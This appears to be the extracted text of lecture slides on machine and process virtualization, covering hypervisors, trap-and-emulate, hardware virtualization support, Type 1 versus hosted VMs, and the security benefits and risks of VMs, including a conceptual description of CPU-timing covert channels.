  – 1973: P-code for Pascal
  – 1995: Java Virtual Machine (JIT compilation added)
  – 2002: Microsoft .NET CLR (pre-compilation)
  – 2003: QEMU (dynamic binary translation)
  – 2008: Dalvik VM for Android
  – 2014: Android Runtime (ART) – ahead of time compilation

• **Advantage: run anywhere, sandboxing capability**

• **No ability to even pretend to access the system hardware**
  – Just function calls to access system functions
  – Or “generic” hardware
Machine Virtualization

• Normally all hardware and I/O managed by one operating system

• Machine virtualization
  – Abstract (virtualize) control of hardware and I/O from the OS
  – Partition a physical computer to act like several computers
    • Manipulate memory mappings
    • Set system timers
    • Access devices
  – Migrate an entire OS & its applications from one computer to another

• 1972: IBM System 370
  – Allow kernel developers to share a computer
Why are VMs popular?

• Wasteful to dedicate a computer to each service
  – Mail, print server, web server, file server, database

• If these services run on a separate computer
  – Configure the OS just for that service
  – Attacks and privilege escalation won’t hurt other services
Hypervisor: Program in charge of virtualization

- Aka Virtual Machine Monitor
- Provides the illusion that the OS has full access to the hardware
- Arbitrates access to physical resources
- Presents a set of virtual device interfaces to each host
An OS is just a bunch of code!

- **Privileged vs. unprivileged instructions**
  - If regular applications execute privileged instructions, they **trap**
  - Operating systems are allowed to execute privileged instructions

- **With machine virtualization**
  - We deprivilege the operating system
  - The VMM runs at a higher privilege level than the OS

- **The VMM catches the trap**
  - If it turns out that the attempt to execute the privileged instruction occurred in the kernel code, the hypervisor (VMM) emulates the instruction
  - **Trap & Emulate**
Application or Guest OS runs until:

- Privileged instruction traps
- System interrupts
- Exceptions (page faults)
- Explicit call: \texttt{VMCALL} (Intel) or \texttt{VMMCALL} (AMD)
Hardware support for virtualization

Root mode (Intel example)
- Layer of execution more privileged than the kernel

Without virtualization:
- Guest OS in RING 0
- Apps in RING 3

With virtualization:
- VMX Root privilege level
- Guest OS in RING 0
- VMM performs emulation of request
- OS traps to VMM
- Apps in RING 3

Note: This diagram illustrates the privilege levels and the interaction between the guest OS, VMM, and hardware.
Architectural Support

• Intel Virtual Technology, AMD-V

• ARM Virtualization Extensions
  – New mode (HYP) and new privilege level (non-secure privilege level 2)

**Guest mode execution:** can run privileged instructions directly
  – E.g., a system call does not need to go to the VM
  – Certain privileged instructions are intercepted as VM exits to the VMM
  – Exceptions, faults, and external interrupts are intercepted as VM exits
  – Virtualized exceptions/faults are injected as VM entries
CPU Architectural Support

• Setup
  – Turn VM support on/off (usually in BIOS)
  – Configure what controls VM exits
  – Processor state
    • Saved & restored in guest & host areas

• VM Entry: go from hypervisor to VM
  – Load state from guest area

• VM Exit
  – VM-exit information contains cause of exit
  – Processor state saved in guest area
  – Processor state loaded from host area
Two Approaches to Running VMs

1. Native VM (hypervisor model)
2. Hosted VM
Native Virtual Machine

Native VM (or Type 1 or Bare Metal)
- No primary OS
- Hypervisor is in charge of access to the devices and scheduling
- OS runs in “kernel mode” but does not run with full privileges

Example: VMware ESX
Hosted Virtual Machine

Hosted VM
- VMM runs without special privileges
- Primary OS responsible for access to the raw machine
  • Lets you use all the drivers available for that primary OS
- Guest operating systems run under a VMM
- VMM invoked by host OS
  • Serves as a proxy to the host OS for access to devices

Example: VMware Workstation

- Applications
- Guest OS
- VMM
  - Device emulation
- Host OS
  - Device driver
- VM Driver
- Physical Machine
Security Benefits

• Virtual machines provide isolation of operating systems
• Attacks & malware can target the guest OS & apps
• Malware cannot escape from the infected guest OS
  – If a guest OS is compromised or fails
    • the host and other OSes are unaffected
    • The ability of other OSes to access resources is unaffected
    • The performance of other OSes is unaffected
  – Cannot infect the host OS
  – Cannot infect the VMM
  – Cannot infect other VMs on the same computer
Security Benefits

• **Recovery from snapshots**
  – Easy to revert to a previous version of the system

• **Easy to replicate virtual machines**
  – Treat the system as a virtual “appliance”
  – If it gets infected with malware, just start another appliance

• **Operate as a test environment**
  – Great for testing suspicious software
  – See what files have been modified
  – Compare before/after states
  – Restore to pre-installed state
Risks

• Same as with introducing other new computers
  – Poorly configured access policies
  – Untrusted or unpatched software
  – "Default" system installations (e.g., full Linux distributions)

• An attacker may enable virtualization
  … and install a new virtual machine in a computing environment
  – It acts like a real computer
  – Private file system
  – Undetected by other VMs
  – Admins might not notice one more system on the network
Risks: Covert Channels

**Covert channel**
- Secret communication channel between components that are not allowed to communicate

**Side channel attack**
- Communication using some aspect of a system's behavior

1. Malware can perform CPU-intensive task at specific times
2. Listener can do CPU-intensive tasks and measure completion times

This allows malware to send a bit pattern:

\[ \text{malware working} = 1 \Rightarrow \text{slowdown on listener} \]

Depends on scheduler but there are other mechanisms too… like memory access
The End